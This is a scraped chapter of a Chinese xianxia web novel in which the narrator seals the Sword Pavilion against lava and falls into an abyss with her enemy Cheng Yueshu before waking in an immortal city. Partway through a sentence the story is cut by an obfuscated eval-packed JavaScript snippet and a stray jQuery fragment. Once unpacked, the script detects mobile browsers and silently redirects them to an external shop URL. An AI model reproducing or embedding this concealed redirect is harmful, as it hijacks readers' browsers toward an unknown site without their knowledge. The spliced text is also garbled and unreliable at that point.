古籍处于前方,眨眼便被扑面而来的热浪焚烧殆尽,我只来得及抓到一捧飞灰。
项野下意识取出那水滴模样的法器,掸眼扫过,才发现是个花苞。
他双掌合拢,倏尔拉开,魔气轰然灌注,水滴状的法器悬空放大。
合拢的莲瓣咔咔作响,项野咬紧牙关,一面后撤一面发力,可就是无法打开它。
见状,我眼神一厉,向后翻去,拍拍手中余灰,落于他的身后。
手腕拧转,磅礴之力顺着项野的魔气钻入合拢的金莲,强行冲撞它的内部。
放大的法器内叮叮作响,倏地旋转打开,片片花瓣舒展,天级法器威力显现。
金莲盛开,降下光华,将我们笼罩其中。
如龙翻腾的岩浆奔来,恰好撞在金莲形成的光罩上,亮眼的岩浆四溅,接着分流至两侧。
“被包围了诶,郁负雪。”
就算有法器隔开岩浆,灼热还是源源不断地传来,项野喘着粗气,抹去额头渗出的豆大汗珠:“岩浆面在涨高。”
“……你的修为,”他动作顿住,扭头侧目而视,语气轻飘,“诶,刚刚我差点以为是南玄仙尊那老东西来救命了。”
“收起好奇心,少公子。”
四周已经被岩浆包裹,我抬眼看向金莲,它的作用不在于此,以项野的魔气,这层光罩支撑不了多久。
“……先去高处。”
我没说几个字,便觉口鼻干燥,泛着淡淡的血腥气,也不知李晏京少时没有法器、修为不够,是怎么在岩浆里待了那么久。
项野见我不答,于是闭上嘴,不再追问。
抵达峡谷旁侧的山顶,这里相比之下稍显温凉。
我站在一堆剑丛顶上,垂眸眺望,项野手捧金莲来到我的身旁,他道:“还在上升。”
“现在怎么办?我们到底要去哪儿?”
我出神思索,没有听见他问的话,岩浆照得我面容雪白,难掩我不善的眼神。
程月舒已经发现“天之心”了?
虽然古籍被毁,可我能感觉到,那道指引线的尽头是巨山山顶的深壑。
片刻后,我轻轻跃下剑丛:“项野,我会送你出剑阁,一出去,你就要告诉项席,想办法召集百名魔修,要化神修为。”
我并指抵在唇边,聚灵低喃,指尖轻动,摁在项野额间,繁复的法阵及灵诀钻进他的脑海:“你其实也不想陪我进来,对吧?”
项野的眼神直愣愣的,眼底闪过光芒,他听着我说的话,被迫接收我灌顶的内容。
我继续说道:“和项席说,是我不让你继续跟着,你会碍事。”
想起近在咫尺的“天之心”,我勉力压下兴奋,神情冷淡的面对项野,他知道,就等于项席知道,那会让我很苦恼。
项野艰难眨眼,开口:“可……”
“没有可是。”
教给项野的是以修为祭天,封印剑阁的大阵,一旦成型,外面的人进不来,里面的人也出不去。
我收手沉下气息:“别让李晏京知道。”
项野后退几步,捂着额头惊疑不定,冲我怒目而视:“父亲他不会答应你的!”
我劈手夺下他手中金莲,灵力束缚项野的几处气脉,让他无法在这时呼唤项席。
接着,我手掌轻拢,复而打开,灵力凝成一只留音鸟飞到项野肩头:“不,他会的。”
我深深看向项野,好似要通过他的眼睛看向与他相连的那个人。
爱慕仙人多年的项席,怎么忍心破坏仙人意愿,只要我开口,他便敢照做。
“郁负雪!”项野有些气急。
如非必要,我其实不想再次利用项席,他幼时早夭的命运早已被我扭转,现在好不容易活着,不该再掺和到我的事里。
李晏京定不会依我,我只能拜托项席。
“金莲会将你送回魔域,抵达后立刻找到项席,速度要快,在此之前我会尽量拦下岩浆。项野,少公子,让我看看你的本事。”
程月舒已经彻底疯了。
回想起山顶那抹人影,他身形狼狈、衣衫褴褛,眼里带着狰狞且疯狂的光。
他不会再顾及法则束缚,宁可自伤也要不计代价地提升修为,或许现在在他心里,杀了我比夺取力量更加重要。
程月舒要让剑阁中存封凶剑的岩浆侵入尘世,而我……我并非圣人,只是不得不做。
金莲陡涨,莲瓣簌簌作响,我将项野推入莲心,眼中亮起一圈光芒,威压节节攀升。
与此同时,我从未收拢的神识里出现一道身影,正从剑阁深处飞速而来。
我的动作加快几分。
随着手指翻飞,我的身体渐渐浮于空中,长发飞舞。
周围剑丛的剑无风自动,相互碰撞,发出铮铮剑鸣。
我垂眸瞧着跌入莲心的项野,他正发怔地抬头看着我,不知在想什么。
“真是难得见你这副模样,少公子。”
我旋手收势。
项野单膝踩稳莲座,将要跳起,嗖的一声,金莲合拢,法器坍缩,消失在原地。
攻击瞬至,我缩地成寸,出现在另一座山头。
原先待的地方咔咔几声巨响,无数长剑崩碎四飞。
山顶被人斜劈而离,眨眼间万剑不存。
我仰天大笑:“你怎么跟疯子一样,成何体统啊,天道?”
程月舒暴怒的身形出现在我眼前,他面容阴沉,目眦欲裂,伸手一招,剑山群剑颤动。
我抛出暗月剑,剑身拧转对准程月舒,灵力汇聚于掌,堪比渡劫巅峰的修为爆发,暗月剑嗡鸣,以剑气强行镇住下方的剑群。
封阁仪式应当还未开始,我不得不以守为攻,倘若万剑齐动,剑阁内必定如同天崩地裂,这滚滚岩浆会更快卷至尘世。
程月舒像是看出我在做什么。
他滞空而立,癫狂笑道:“郁负雪!你看看你现在!还不如你前世威风!怎么轮回几遭从凡人做起,反倒生出令人作呕的菩萨心肠?”
我没有多言,勾指召来几柄品质上乘的剑,注以灵力袭向程月舒。
招招狠辣,不留情面,一柄崩碎,暗月剑轻鸣,便有新的剑拔地而出,加入战局。
我飞身落至岩浆前,储物戒中法宝尽出,被我分别埋入山间、地底,最后一件天级法器吸纳数万灵石,连通所有埋入地下的法宝。
一声能震碎心脉的闷响荡彻剑阁。
大阵显现。
地面腾起的金色岩浪速度被放慢到极致,浪峰高高扬起,以肉眼难辨的速度推进。
如此,应该能来得及。
我痛哼出声,偏头咳出带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665841|203792||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着碎片的血,魔蛊疯狂游走于泣株形成的灵脉,修复体内大大小小的伤。
我因疼痛而强大,因痛苦而快乐。
少许岩浆被我掌控、攥取,凝在掌心形成一团,我咧嘴而笑,齿缝带着血迹。
“菩萨心肠,”我顿觉新奇的咀嚼这四个字,“好高的评价,可我担当不起。”
能封存凶剑的岩浆岂是凡物,我侥幸抢夺,托在手中已是不易。
程月舒旋身击碎身边所有剑阁之剑,暗月剑得付渚相帮,只是被弹飞数尺,堪堪掠过浆面,飞回我的身侧。
手中团成球的岩浆瞬间爆开,分成数缕,朝着程月舒飞射而去,拖曳长尾,末端四散,如同倏然绽放在空中的红花檵木。
“郁负雪!”
程月舒狼狈躲过,他要击碎法器,我便灵力化索,扯住他的脚踝,要将他拽向岩浆。
“你处处与我作对!把自己折腾成这副不魔不道的模样!值得吗!”
我以掌卸力,躲过他的攻击:“你在害怕,怕你千千万万代的长生就此终结?”
程月舒气息一滞:“我怕?我乃天道!亘古不朽!何事值得我去惧怕!”
他狞笑凑近:“郁负雪!我还没感谢你呢!多亏你重开剑阁!我才找到更快的法子毁了这世间!”
程月舒眼中布满血丝,低声嗤笑:“待这烈浆入世,我看你还能护得了谁。”
他随手拔出就近长剑,指尖轻弹,剑尖朝我袭来,我好似因他话语神情恍惚,一时不察,躲过长剑,却没能躲过他的偷袭。
程月舒那张可怖的面容凑近,小半张脸被我控制的岩浆灼伤,此时如同地府恶鬼。
“嗬——!”
因为缺氧,我松开手中暗月剑,手指不断抠着脖颈上程月舒的手,见此,他笑得愈发开心,力度收紧,欣赏我面色涨红的模样。
暗月剑噗通一声掉入深壑。
程月舒提臂拉近,用恶毒黏稠的目光舔过我的脸庞:“你师弟倒是说对了一件事,郁负雪,你当真漂亮,也当真可恶。”
我的耳朵开始嗡鸣,可我在这时反而笑了,程月舒神色一愣,压低眉眼厉吼:“你在笑什么!我看你是嫌死的不够快!”
“是你……完了。”
我艰难吐出这句话。
程月舒动作一滞,忽而灵力全无,他瞪大眼睛,视线突然落向自己掐着我脖子的手。
他光顾着得意,哪能注意到我在做什么。
“你疯了!”
要短暂封住他的灵力并不容易,我剩下的力气都用来钳制程月舒:“黄泉路上,没有你铺路,我不甘心啊……”
我们双双跌入深壑,浸没在烈烈岩浆中。
倏尔睁眼,清脆铃音响动。
我正支着头斜倚在桌案上,直起身时,才发觉身边竟环绕着诸多生灵。
仙鹿慢悠悠地睁开眼睛,歪着头望我。
长尾淡蓝、额间一点白的羽雀抖抖尾巴。
我看向檐角,仙铃于风中轻晃。
除却铃音,耳边唯有生灵的呼吸声,我起身来到窗前,向外远视,楼阁相错,廊腰蜿蜒犹似盘龙,玉阶梁柱清如泉澈。
屋内熏香燃尽,唯剩余韵,殿外有莲香环绕,流水潺潺,轻薄雾气缥缈,贴着地面游走翻腾。
这里是白玉仙都。